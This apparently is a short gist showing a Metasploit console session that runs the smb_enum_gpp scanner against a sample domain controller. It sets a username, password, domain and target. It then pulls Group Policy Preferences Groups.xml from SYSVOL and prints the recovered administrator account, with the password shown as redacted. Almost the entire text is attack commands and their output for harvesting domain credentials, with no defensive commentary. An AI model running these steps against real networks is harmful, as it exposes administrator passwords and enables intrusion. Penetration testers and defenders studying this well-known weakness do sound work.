SMB GPP AUX Enumeration

gistfile1.txt

msf > use auxiliary/scanner/smb/smb_enum_gpp 
msf auxiliary(smb_enum_gpp) > set SMBUSER jsmith
SMBUSER => jsmith
msf auxiliary(smb_enum_gpp) > set SMBPASS Password1!
SMBPASS => Password1!
msf auxiliary(smb_enum_gpp) > set SMBDOMAIN ACME
SMBDOMAIN => ACME
msf auxiliary(smb_enum_gpp) > set RHOSTS 10.10.10.10
RHOSTS => 10.10.10.10
msf auxiliary(smb_enum_gpp) > show options

Module options (auxiliary/scanner/smb/smb_enum_gpp):

   Name        Current Setting   Required Description
   ----        ---------------   -------- -----------
   RHOSTS      10.10.10.10       yes      The target address range or CIDR identifier
   RPORT       445               yes      The Target port
   SMBDomain   ACME              no       The Windows domain to use for authentication
   SMBPass     Password1!        no       The password for the specified username
   SMBSHARE    SYSVOL            yes      The name of the share on the server
   SMBUser     jsmith            no       The username to authenticate as
   STORE       true              no       Store the enumerated files in loot.
   THREADS     1                 yes      The number of concurrent threads

msf auxiliary(smb_enum_gpp) > run

…

[…snip..]
…

NAME                    VALUE
———-                    ——————-
TYPE                    Groups.xml
USERNAME                Admin
PASSWORD                REDACTED!
DOMAIN CONTROLLER       10.10.10.10
DOMAIN                  acme.com
CHANGED                 2010-01-01 12:00:00
NEVER_EXPIRES?          1
DISABLED                0